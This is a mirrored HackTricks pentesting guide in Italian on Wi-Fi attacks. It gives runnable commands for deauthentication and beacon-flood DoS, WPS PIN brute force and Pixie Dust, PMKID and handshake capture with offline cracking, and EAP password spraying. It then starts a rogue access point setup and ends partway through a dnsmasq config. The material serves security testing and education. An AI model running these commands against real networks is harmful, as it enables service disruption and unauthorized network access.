mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
696 lines
46 KiB
Markdown
696 lines
46 KiB
Markdown
# Pentesting Wifi
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Comandi di base per Wifi
|
|
```bash
|
|
ip link show #List available interfaces
|
|
iwconfig #List available interfaces
|
|
airmon-ng check kill #Kill annoying processes
|
|
airmon-ng start wlan0 #Monitor mode
|
|
airmon-ng stop wlan0mon #Managed mode
|
|
airodump-ng wlan0mon #Scan (default 2.4Ghz)
|
|
airodump-ng wlan0mon --band a #Scan 5Ghz
|
|
airodump-ng wlan0mon --wps #Scan WPS
|
|
iwconfig wlan0 mode monitor #Put in mode monitor
|
|
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
|
|
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
|
|
iwlist wlan0 scan #Scan available wifis
|
|
```
|
|
## Strumenti
|
|
|
|
### Hijacker & NexMon (Wi-Fi interno Android)
|
|
|
|
{{#ref}}
|
|
enable-nexmon-monitor-and-injection-on-android.md
|
|
{{#endref}}
|
|
|
|
### EAPHammer
|
|
```
|
|
git clone https://github.com/s0lst1c3/eaphammer.git
|
|
./kali-setup
|
|
```
|
|
### Airgeddon
|
|
```bash
|
|
mv `which dhcpd` `which dhcpd`.old
|
|
apt install isc-dhcp-server
|
|
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
|
|
```
|
|
**Esegui airgeddon con docker**
|
|
```bash
|
|
docker run \
|
|
--rm \
|
|
-ti \
|
|
--name airgeddon \
|
|
--net=host \
|
|
--privileged \
|
|
-p 3000:3000 \
|
|
-v /tmp:/io \
|
|
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
|
v1s1t0r1sh3r3/airgeddon
|
|
```
|
|
### wifiphisher
|
|
|
|
Può eseguire attacchi Evil Twin, KARMA e Known Beacons e poi utilizzare un modello di phishing per riuscire a ottenere la vera password della rete o catturare le credenziali dei social network.
|
|
```bash
|
|
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
|
cd wifiphisher # Switch to tool's directory
|
|
sudo python setup.py install # Install any dependencies
|
|
```
|
|
### [Wifite2](https://github.com/derv82/wifite2)
|
|
|
|
Questo strumento automatizza gli attacchi **WPS/WEP/WPA-PSK**. Esso automaticamente:
|
|
|
|
- Imposta l'interfaccia in modalità monitor
|
|
- Scansiona per possibili reti - E ti consente di selezionare la vittima/e
|
|
- Se WEP - Lancia attacchi WEP
|
|
- Se WPA-PSK
|
|
- Se WPS: attacco Pixie dust e attacco di bruteforce (fai attenzione, l'attacco di bruteforce potrebbe richiedere molto tempo). Nota che non prova PIN nulli o PIN generati/database.
|
|
- Prova a catturare il PMKID dall'AP per decifrarlo
|
|
- Prova a disautenticare i client dell'AP per catturare un handshake
|
|
- Se PMKID o Handshake, prova a bruteforce usando le prime 5000 password.
|
|
|
|
## Riepilogo Attacchi
|
|
|
|
- **DoS**
|
|
- Disautenticazione/disassociazione -- Disconnetti tutti (o un ESSID/Client specifico)
|
|
- AP falsi casuali -- Nascondi reti, possibile crash degli scanner
|
|
- Sovraccarico AP -- Prova a uccidere l'AP (di solito non molto utile)
|
|
- WIDS -- Gioca con l'IDS
|
|
- TKIP, EAPOL -- Alcuni attacchi specifici per DoS su alcuni AP
|
|
- **Cracking**
|
|
- Cracking **WEP** (diversi strumenti e metodi)
|
|
- **WPA-PSK**
|
|
- **WPS** pin "Brute-Force"
|
|
- **WPA PMKID** bruteforce
|
|
- \[DoS +] **Cattura handshake WPA** + Cracking
|
|
- **WPA-MGT**
|
|
- **Cattura Nome Utente**
|
|
- **Bruteforce** Credenziali
|
|
- **Evil Twin** (con o senza DoS)
|
|
- **Open** Evil Twin \[+ DoS] -- Utile per catturare credenziali del portale captive e/o eseguire attacchi LAN
|
|
- **WPA-PSK** Evil Twin -- Utile per attacchi di rete se conosci la password
|
|
- **WPA-MGT** -- Utile per catturare credenziali aziendali
|
|
- **KARMA, MANA**, **Loud MANA**, **Beacon conosciuto**
|
|
- **+ Open** -- Utile per catturare credenziali del portale captive e/o eseguire attacchi LAN
|
|
- **+ WPA** -- Utile per catturare handshake WPA
|
|
|
|
## DOS
|
|
|
|
### Pacchetti di Disautenticazione
|
|
|
|
**Descrizione da** [**qui**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
|
|
|
Gli attacchi di **disautenticazione**, un metodo prevalente nell'hacking Wi-Fi, comportano la falsificazione di frame "di gestione" per **disconnettere forzatamente i dispositivi da una rete**. Questi pacchetti non crittografati ingannano i client facendogli credere che provengano dalla rete legittima, consentendo agli attaccanti di raccogliere handshake WPA per scopi di cracking o di interrompere persistentemente le connessioni di rete. Questa tattica, allarmante nella sua semplicità, è ampiamente utilizzata e ha significative implicazioni per la sicurezza della rete.
|
|
|
|
**Disautenticazione usando Aireplay-ng**
|
|
```
|
|
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|
```
|
|
- -0 significa deautenticazione
|
|
- 1 è il numero di deautenticazioni da inviare (puoi inviarne più di una se lo desideri); 0 significa inviarle continuamente
|
|
- -a 00:14:6C:7E:40:80 è l'indirizzo MAC del punto di accesso
|
|
- -c 00:0F:B5:34:30:30 è l'indirizzo MAC del client da deautenticare; se questo è omesso, viene inviata una deautenticazione broadcast (non sempre funziona)
|
|
- ath0 è il nome dell'interfaccia
|
|
|
|
### Pacchetti di Disassociazione
|
|
|
|
**I pacchetti di disassociazione**, simili ai pacchetti di deautenticazione, sono un tipo di frame di gestione utilizzato nelle reti Wi-Fi. Questi pacchetti servono a interrompere la connessione tra un dispositivo (come un laptop o uno smartphone) e un punto di accesso (AP). La principale distinzione tra disassociazione e deautenticazione risiede nei loro scenari di utilizzo. Mentre un AP emette **pacchetti di deautenticazione per rimuovere esplicitamente i dispositivi non autorizzati dalla rete, i pacchetti di disassociazione vengono tipicamente inviati quando l'AP è in fase di spegnimento**, riavvio o spostamento, rendendo necessaria la disconnessione di tutti i nodi connessi.
|
|
|
|
**Questo attacco può essere eseguito da mdk4(mode "d"):**
|
|
```bash
|
|
# -c <channel>
|
|
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
|
|
# -e WifiName is the name of the wifi
|
|
# -B BSSID is the BSSID of the AP
|
|
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
|
|
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
|
```
|
|
### **Altri attacchi DOS con mdk4**
|
|
|
|
**In** [**qui**](https://en.kali.tools/?p=864)**.**
|
|
|
|
**MODALITÀ D'ATTACCO b: Inondazione di Beacon**
|
|
|
|
Invia frame beacon per mostrare AP falsi ai client. Questo può a volte far crashare gli scanner di rete e persino i driver!
|
|
```bash
|
|
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
|
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
|
# -m use real BSSIDS
|
|
# All the parameters are optional and you could load ESSIDs from a file
|
|
mdk4 wlan0mon b -a -w nta -m
|
|
```
|
|
**MODALITÀ D'ATTACCO a: Denial-Of-Service di Autenticazione**
|
|
|
|
Inviare frame di autenticazione a tutti i punti di accesso (AP) accessibili entro portata può sovraccaricare questi AP, specialmente quando sono coinvolti numerosi client. Questo traffico intenso può portare a instabilità del sistema, causando il blocco o persino il riavvio di alcuni AP.
|
|
```bash
|
|
# -a BSSID send random data from random clients to try the DoS
|
|
# -i BSSID capture and repeat pakets from authenticated clients
|
|
# -m use real MACs
|
|
# only -a or -i can be used
|
|
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
|
```
|
|
**ATTACK MODE p: SSID Probing and Bruteforcing**
|
|
|
|
Il probing degli Access Points (APs) verifica se un SSID è correttamente rivelato e conferma il raggio dell'AP. Questa tecnica, unita al **bruteforcing di SSID nascosti** con o senza una wordlist, aiuta a identificare e accedere a reti nascoste.
|
|
|
|
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
|
|
|
Inviare pacchetti casuali o duplicati a diverse code QoS può attivare le contromisure Michael su **TKIP APs**, portando a un'interruzione dell'AP di un minuto. Questo metodo è una tattica efficiente di attacco **DoS** (Denial of Service).
|
|
```bash
|
|
# -t <BSSID> of a TKIP AP
|
|
# -j use inteligent replay to create the DoS
|
|
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
|
```
|
|
**ATTACK MODE e: Iniezione di pacchetti EAPOL Start e Logoff**
|
|
|
|
Inondare un AP con **frame EAPOL Start** crea **sessioni false**, sopraffacendo l'AP e bloccando i client legittimi. In alternativa, l'iniezione di **falsi messaggi EAPOL Logoff** disconnette forzatamente i client, entrambi i metodi interrompono efficacemente il servizio di rete.
|
|
```bash
|
|
# Use Logoff messages to kick clients
|
|
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
|
```
|
|
**ATTACK MODE s: Attacchi per reti mesh IEEE 802.11s**
|
|
|
|
Vari attacchi sulla gestione dei link e sul routing nelle reti mesh.
|
|
|
|
**ATTACK MODE w: Confusione WIDS**
|
|
|
|
Collegare in modo incrociato i client a più nodi WDS o a falsi AP rogue può manipolare i Sistemi di Rilevamento e Prevenzione delle Intrusioni, creando confusione e potenziale abuso del sistema.
|
|
```bash
|
|
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
|
mkd4 -e <SSID> -c <channel> [-z]
|
|
```
|
|
**ATTACK MODE f: Packet Fuzzer**
|
|
|
|
Un packet fuzzer con diverse fonti di pacchetti e un set completo di modificatori per la manipolazione dei pacchetti.
|
|
|
|
### **Airggedon**
|
|
|
|
_**Airgeddon**_ offre la maggior parte degli attacchi proposti nei commenti precedenti:
|
|
|
|
.png>)
|
|
|
|
## WPS
|
|
|
|
WPS (Wi-Fi Protected Setup) semplifica il processo di connessione dei dispositivi a un router, migliorando la velocità e la facilità di configurazione per le reti criptate con **WPA** o **WPA2** Personal. È inefficace per la sicurezza WEP facilmente compromettibile. WPS utilizza un PIN di 8 cifre, validato in due metà, rendendolo suscettibile ad attacchi di forza bruta a causa del numero limitato di combinazioni (11.000 possibilità).
|
|
|
|
### WPS Bruteforce
|
|
|
|
Ci sono 2 strumenti principali per eseguire questa azione: Reaver e Bully.
|
|
|
|
- **Reaver** è stato progettato per essere un attacco robusto e pratico contro WPS, ed è stato testato su una vasta gamma di punti di accesso e implementazioni WPS.
|
|
- **Bully** è una **nuova implementazione** dell'attacco di forza bruta WPS, scritto in C. Ha diversi vantaggi rispetto al codice reaver originale: meno dipendenze, prestazioni migliorate in memoria e CPU, gestione corretta dell'endianness e un set di opzioni più robusto.
|
|
|
|
L'attacco sfrutta la **vulnerabilità del PIN WPS**, in particolare la sua esposizione delle prime quattro cifre e il ruolo dell'ultima cifra come checksum, facilitando l'attacco di forza bruta. Tuttavia, le difese contro gli attacchi di forza bruta, come il **blocco degli indirizzi MAC** degli aggressori, richiedono la **rotazione degli indirizzi MAC** per continuare l'attacco.
|
|
|
|
Una volta ottenuto il PIN WPS con strumenti come Bully o Reaver, l'attaccante può dedurre il WPA/WPA2 PSK, garantendo **accesso persistente alla rete**.
|
|
```bash
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
|
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
|
```
|
|
**Smart Brute Force**
|
|
|
|
Questo approccio raffinato mira ai PIN WPS utilizzando vulnerabilità conosciute:
|
|
|
|
1. **PIN pre-scoperti**: Utilizza un database di PIN noti collegati a specifici produttori noti per utilizzare PIN WPS uniformi. Questo database correla i primi tre ottetti degli indirizzi MAC con i PIN probabili per questi produttori.
|
|
2. **Algoritmi di generazione del PIN**: Sfrutta algoritmi come ComputePIN ed EasyBox, che calcolano i PIN WPS basati sull'indirizzo MAC dell'AP. L'algoritmo Arcadyan richiede inoltre un ID dispositivo, aggiungendo un ulteriore livello al processo di generazione del PIN.
|
|
|
|
### Attacco WPS Pixie Dust
|
|
|
|
**Dominique Bongard** ha scoperto un difetto in alcuni Access Point (AP) riguardo alla creazione di codici segreti, noti come **nonces** (**E-S1** e **E-S2**). Se questi nonces possono essere scoperti, decifrare il PIN WPS dell'AP diventa facile. L'AP rivela il PIN all'interno di un codice speciale (hash) per dimostrare che è legittimo e non un AP falso (rogue). Questi nonces sono essenzialmente le "chiavi" per sbloccare il "cassaforte" che contiene il PIN WPS. Maggiori informazioni possono essere trovate [qui](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
|
|
|
|
In termini semplici, il problema è che alcuni AP non utilizzavano chiavi abbastanza casuali per crittografare il PIN durante il processo di connessione. Questo rende il PIN vulnerabile a essere indovinato dall'esterno della rete (attacco di brute force offline).
|
|
```bash
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
|
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
|
```
|
|
Se non vuoi mettere il dispositivo in modalità monitor, o se `reaver` e `bully` hanno qualche problema, puoi provare [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Questo strumento può eseguire l'attacco Pixie Dust senza dover passare alla modalità monitor.
|
|
```bash
|
|
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
|
|
```
|
|
### Null Pin attack
|
|
|
|
Alcuni sistemi mal progettati consentono persino a un **Null PIN** (un PIN vuoto o inesistente) di concedere accesso, il che è piuttosto insolito. Lo strumento **Reaver** è in grado di testare questa vulnerabilità, a differenza di **Bully**.
|
|
```bash
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|
```
|
|
### Airgeddon
|
|
|
|
Tutti gli attacchi WPS proposti possono essere facilmente eseguiti utilizzando _**airgeddon.**_
|
|
|
|
.png>)
|
|
|
|
- 5 e 6 ti permettono di provare **il tuo PIN personalizzato** (se ne hai uno)
|
|
- 7 e 8 eseguono l'**attacco Pixie Dust**
|
|
- 13 ti consente di testare il **NULL PIN**
|
|
- 11 e 12 **raccoglieranno i PIN relativi all'AP selezionato da database disponibili** e **genereranno** possibili **PIN** utilizzando: ComputePIN, EasyBox e opzionalmente Arcadyan (consigliato, perché no?)
|
|
- 9 e 10 testeranno **ogni possibile PIN**
|
|
|
|
## **WEP**
|
|
|
|
Così compromesso e inutilizzato oggigiorno. Sappi solo che _**airgeddon**_ ha un'opzione WEP chiamata "All-in-One" per attaccare questo tipo di protezione. Altri strumenti offrono opzioni simili.
|
|
|
|
.png>)
|
|
|
|
---
|
|
|
|
---
|
|
|
|
## WPA/WPA2 PSK
|
|
|
|
### PMKID
|
|
|
|
Nel 2018, **hashcat** [ha rivelato](https://hashcat.net/forum/thread-7717.html) un nuovo metodo di attacco, unico perché richiede solo **un singolo pacchetto** e non richiede che alcun client sia connesso all'AP target—solo interazione tra l'attaccante e l'AP.
|
|
|
|
Molti router moderni aggiungono un **campo opzionale** al **primo frame EAPOL** durante l'associazione, noto come `Robust Security Network`. Questo include il `PMKID`.
|
|
|
|
Come spiega il post originale, il **PMKID** è creato utilizzando dati noti:
|
|
```bash
|
|
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
|
```
|
|
Dato che il "Nome PMK" è costante, conosciamo il BSSID dell'AP e della stazione, e il `PMK` è identico a quello di un completo handshake a 4 vie, **hashcat** può utilizzare queste informazioni per decifrare il PSK e recuperare la passphrase!
|
|
|
|
Per **raccogliere** queste informazioni e **bruteforare** localmente la password puoi fare:
|
|
```bash
|
|
airmon-ng check kill
|
|
airmon-ng start wlan0
|
|
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
|
|
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
|
```
|
|
|
|
```bash
|
|
#You can also obtains PMKIDs using eaphammer
|
|
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
|
```
|
|
I **PMKIDs catturati** saranno mostrati nella **console** e anche **salvati** dentro \_ **/tmp/attack.pcap**\_\
|
|
Ora, converti la cattura in formato **hashcat/john** e crackala:
|
|
```bash
|
|
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
|
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
|
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
|
```
|
|
Si prega di notare che il formato di un hash corretto contiene **4 parti**, come: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Se il tuo **contiene solo** **3 parti**, allora è **non valido** (la cattura del PMKID non era valida).
|
|
|
|
Nota che `hcxdumptool` **cattura anche i handshake** (qualcosa del genere apparirà: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Puoi **trasformare** gli **handshake** nel formato **hashcat**/**john** usando `cap2hccapx`
|
|
```bash
|
|
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
|
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
|
hccap2john pmkid.hccapx > handshake.john
|
|
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
|
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
|
```
|
|
_Ho notato che alcuni handshake catturati con questo strumento non potevano essere decifrati anche conoscendo la password corretta. Raccomanderei di catturare gli handshake anche in modo tradizionale se possibile, o di catturarne diversi utilizzando questo strumento._
|
|
|
|
### Cattura dell'handshake
|
|
|
|
Un attacco alle reti **WPA/WPA2** può essere eseguito catturando un **handshake** e tentando di **crackare** la password **offline**. Questo processo implica il monitoraggio della comunicazione di una rete specifica e del **BSSID** su un determinato **canale**. Ecco una guida semplificata:
|
|
|
|
1. Identificare il **BSSID**, il **canale** e un **client connesso** della rete target.
|
|
2. Utilizzare `airodump-ng` per monitorare il traffico di rete sul canale e BSSID specificati, sperando di catturare un handshake. Il comando apparirà così:
|
|
```bash
|
|
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
|
```
|
|
3. Per aumentare la possibilità di catturare un handshake, disconnetti momentaneamente il client dalla rete per forzare una nuova autenticazione. Questo può essere fatto utilizzando il comando `aireplay-ng`, che invia pacchetti di disautenticazione al client:
|
|
```bash
|
|
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
|
```
|
|
_Nota che, poiché il client è stato disautenticato, potrebbe provare a connettersi a un AP diverso o, in altri casi, a una rete diversa._
|
|
|
|
Una volta che in `airodump-ng` appare alcune informazioni sul handshake, significa che l'handover è stato catturato e puoi smettere di ascoltare:
|
|
|
|
 (1).png>)
|
|
|
|
Una volta catturato l'handover, puoi **crackarlo** con `aircrack-ng`:
|
|
```
|
|
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
|
```
|
|
### Controlla se il handshake è nel file
|
|
|
|
**aircrack**
|
|
```bash
|
|
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
|
|
```
|
|
**tshark**
|
|
```bash
|
|
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
|
|
```
|
|
[**cowpatty**](https://github.com/roobixx/cowpatty)
|
|
```
|
|
cowpatty -r psk-01.cap -s "ESSID" -f -
|
|
```
|
|
_Se questo strumento trova un handshake incompleto di un ESSID prima di quello completato, non rileverà quello valido._
|
|
|
|
**pyrit**
|
|
```bash
|
|
apt-get install pyrit #Not working for newer versions of kali
|
|
pyrit -r psk-01.cap analyze
|
|
```
|
|
## **WPA Enterprise (MGT)**
|
|
|
|
In **configurazioni WiFi aziendali, incontrerai vari metodi di autenticazione**, ognuno dei quali offre diversi livelli di sicurezza e funzionalità di gestione. Quando utilizzi strumenti come `airodump-ng` per ispezionare il traffico di rete, potresti notare identificatori per questi tipi di autenticazione. Alcuni metodi comuni includono:
|
|
```
|
|
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
|
```
|
|
1. **EAP-GTC (Generic Token Card)**:
|
|
- Questo metodo supporta i token hardware e le password monouso all'interno di EAP-PEAP. A differenza di MSCHAPv2, non utilizza una sfida peer e invia le password in chiaro al punto di accesso, ponendo un rischio per attacchi di downgrade.
|
|
2. **EAP-MD5 (Message Digest 5)**:
|
|
- Comporta l'invio dell'hash MD5 della password dal client. **Non è raccomandato** a causa della vulnerabilità agli attacchi di dizionario, della mancanza di autenticazione del server e dell'incapacità di generare chiavi WEP specifiche per la sessione.
|
|
3. **EAP-TLS (Transport Layer Security)**:
|
|
- Utilizza sia certificati lato client che lato server per l'autenticazione e può generare dinamicamente chiavi WEP basate su utente e sessione per proteggere le comunicazioni.
|
|
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
|
- Fornisce autenticazione reciproca attraverso un tunnel crittografato, insieme a un metodo per derivare chiavi WEP dinamiche, per utente e per sessione. Richiede solo certificati lato server, con i client che utilizzano credenziali.
|
|
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
|
- Funziona in modo simile a EAP creando un tunnel TLS per comunicazioni protette. Consente l'uso di protocolli di autenticazione più deboli sopra EAP grazie alla protezione offerta dal tunnel.
|
|
- **PEAP-MSCHAPv2**: Spesso indicato come PEAP, combina il vulnerabile meccanismo di sfida/riposta MSCHAPv2 con un tunnel TLS protettivo.
|
|
- **PEAP-EAP-TLS (o PEAP-TLS)**: Simile a EAP-TLS ma avvia un tunnel TLS prima di scambiare certificati, offrendo un ulteriore livello di sicurezza.
|
|
|
|
Puoi trovare ulteriori informazioni su questi metodi di autenticazione [qui](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) e [qui](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
|
|
|
### Cattura Nome Utente
|
|
|
|
Leggendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) sembra che se stai usando **EAP** i **messaggi "Identity"** devono essere **supportati**, e il **nome utente** verrà inviato in **chiaro** nei messaggi **"Response Identity"**.
|
|
|
|
Anche utilizzando uno dei metodi di autenticazione più sicuri: **PEAP-EAP-TLS**, è possibile **catturare il nome utente inviato nel protocollo EAP**. Per farlo, **cattura una comunicazione di autenticazione** (avvia `airodump-ng` all'interno di un canale e `wireshark` nella stessa interfaccia) e filtra i pacchetti per `eapol`.\
|
|
All'interno del pacchetto "**Response, Identity**", apparirà il **nome utente** del client.
|
|
|
|
.png>)
|
|
|
|
### Identità Anonime
|
|
|
|
Il nascondimento dell'identità è supportato sia da EAP-PEAP che da EAP-TTLS. Nel contesto di una rete WiFi, una richiesta EAP-Identity è tipicamente avviata dal punto di accesso (AP) durante il processo di associazione. Per garantire la protezione dell'anonimato dell'utente, la risposta del client EAP sul dispositivo dell'utente contiene solo le informazioni essenziali necessarie per il server RADIUS iniziale per elaborare la richiesta. Questo concetto è illustrato attraverso i seguenti scenari:
|
|
|
|
- EAP-Identity = anonimo
|
|
- In questo scenario, tutti gli utenti utilizzano il pseudonimo "anonimo" come identificatore utente. Il server RADIUS iniziale funge da server EAP-PEAP o EAP-TTLS, responsabile della gestione del lato server del protocollo PEAP o TTLS. Il metodo di autenticazione interno (protetto) è quindi gestito localmente o delegato a un server RADIUS remoto (domestico).
|
|
- EAP-Identity = anonimo@realm_x
|
|
- In questa situazione, gli utenti di diversi domini nascondono le loro identità mentre indicano i rispettivi domini. Questo consente al server RADIUS iniziale di inoltrare le richieste EAP-PEAP o EAP-TTLS ai server RADIUS nei loro domini domestici, che fungono da server PEAP o TTLS. Il server RADIUS iniziale opera esclusivamente come nodo di relay RADIUS.
|
|
- In alternativa, il server RADIUS iniziale può funzionare come server EAP-PEAP o EAP-TTLS e gestire il metodo di autenticazione protetta o inoltrarlo a un altro server. Questa opzione facilita la configurazione di politiche distinte per vari domini.
|
|
|
|
In EAP-PEAP, una volta stabilito il tunnel TLS tra il server PEAP e il client PEAP, il server PEAP avvia una richiesta EAP-Identity e la trasmette attraverso il tunnel TLS. Il client risponde a questa seconda richiesta EAP-Identity inviando una risposta EAP-Identity contenente la vera identità dell'utente attraverso il tunnel crittografato. Questo approccio previene efficacemente la rivelazione della vera identità dell'utente a chiunque stia ascoltando il traffico 802.11.
|
|
|
|
EAP-TTLS segue una procedura leggermente diversa. Con EAP-TTLS, il client tipicamente si autentica utilizzando PAP o CHAP, protetti dal tunnel TLS. In questo caso, il client include un attributo User-Name e un attributo Password o CHAP-Password nel messaggio TLS iniziale inviato dopo l'instaurazione del tunnel.
|
|
|
|
Indipendentemente dal protocollo scelto, il server PEAP/TTLS acquisisce conoscenza della vera identità dell'utente dopo che il tunnel TLS è stato stabilito. La vera identità può essere rappresentata come user@realm o semplicemente user. Se il server PEAP/TTLS è anche responsabile dell'autenticazione dell'utente, ora possiede l'identità dell'utente e procede con il metodo di autenticazione protetto dal tunnel TLS. In alternativa, il server PEAP/TTLS può inoltrare una nuova richiesta RADIUS al server RADIUS domestico dell'utente. Questa nuova richiesta RADIUS omette il livello del protocollo PEAP o TTLS. Nei casi in cui il metodo di autenticazione protetta è EAP, i messaggi EAP interni vengono trasmessi al server RADIUS domestico senza l'involucro EAP-PEAP o EAP-TTLS. L'attributo User-Name del messaggio RADIUS in uscita contiene la vera identità dell'utente, sostituendo l'User-Name anonimo della richiesta RADIUS in arrivo. Quando il metodo di autenticazione protetta è PAP o CHAP (supportato solo da TTLS), l'attributo User-Name e altri attributi di autenticazione estratti dal payload TLS vengono sostituiti nel messaggio RADIUS in uscita, sostituendo l'User-Name anonimo e gli attributi TTLS EAP-Message trovati nella richiesta RADIUS in arrivo.
|
|
|
|
Per ulteriori informazioni controlla [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
|
|
|
### EAP-Bruteforce (password spray)
|
|
|
|
Se ci si aspetta che il client utilizzi un **nome utente e una password** (nota che **EAP-TLS non sarà valido** in questo caso), allora potresti provare a ottenere un **elenco** di **nomi utente** (vedi la parte successiva) e **password** e provare a **bruteforare** l'accesso utilizzando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
|
```bash
|
|
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
|
```
|
|
Puoi anche eseguire questo attacco utilizzando `eaphammer`:
|
|
```bash
|
|
./eaphammer --eap-spray \
|
|
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
|
|
--essid example-wifi \
|
|
--password bananas \
|
|
--user-list users.txt
|
|
```
|
|
## Teoria degli attacchi ai Client
|
|
|
|
### Selezione della Rete e Roaming
|
|
|
|
- Il protocollo 802.11 definisce come una stazione si unisce a un Extended Service Set (ESS) ma non specifica i criteri per selezionare un ESS o un access point (AP) al suo interno.
|
|
- Le stazioni possono passare da un AP all'altro condividendo lo stesso ESSID, mantenendo la connettività in un edificio o in un'area.
|
|
- Il protocollo richiede l'autenticazione della stazione all'ESS ma non impone l'autenticazione dell'AP alla stazione.
|
|
|
|
### Elenchi di Reti Preferite (PNL)
|
|
|
|
- Le stazioni memorizzano l'ESSID di ogni rete wireless a cui si connettono nel loro Elenco di Reti Preferite (PNL), insieme ai dettagli di configurazione specifici della rete.
|
|
- Il PNL viene utilizzato per connettersi automaticamente a reti conosciute, migliorando l'esperienza dell'utente semplificando il processo di connessione.
|
|
|
|
### Scansione Passiva
|
|
|
|
- Gli AP trasmettono periodicamente frame beacon, annunciando la loro presenza e caratteristiche, incluso l'ESSID dell'AP a meno che la trasmissione non sia disabilitata.
|
|
- Durante la scansione passiva, le stazioni ascoltano i frame beacon. Se l'ESSID di un beacon corrisponde a un'entrata nel PNL della stazione, la stazione può connettersi automaticamente a quell'AP.
|
|
- La conoscenza del PNL di un dispositivo consente potenziali sfruttamenti mimando l'ESSID di una rete conosciuta, ingannando il dispositivo a connettersi a un AP malevolo.
|
|
|
|
### Probing Attivo
|
|
|
|
- Il probing attivo implica che le stazioni inviino richieste di probing per scoprire AP vicini e le loro caratteristiche.
|
|
- Le richieste di probing dirette mirano a un ESSID specifico, aiutando a rilevare se una rete particolare è entro portata, anche se è una rete nascosta.
|
|
- Le richieste di probing broadcast hanno un campo SSID nullo e vengono inviate a tutti gli AP vicini, consentendo alla stazione di controllare eventuali reti preferite senza rivelare i contenuti del suo PNL.
|
|
|
|
## AP Semplice con reindirizzamento a Internet
|
|
|
|
Prima di spiegare come eseguire attacchi più complessi, verrà spiegato **come** semplicemente **creare** un **AP** e **reindirizzare** il suo **traffico** a un'interfaccia connessa **a** Internet.
|
|
|
|
Utilizzando `ifconfig -a`, controlla che l'interfaccia wlan per creare l'AP e l'interfaccia connessa a Internet siano presenti.
|
|
|
|
### DHCP & DNS
|
|
```bash
|
|
apt-get install dnsmasq #Manages DHCP and DNS
|
|
```
|
|
Crea il file di configurazione `/etc/dnsmasq.conf`:
|
|
```ini
|
|
interface=wlan0
|
|
dhcp-authoritative
|
|
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
|
|
dhcp-option=3,192.168.1.1
|
|
dhcp-option=6,192.168.1.1
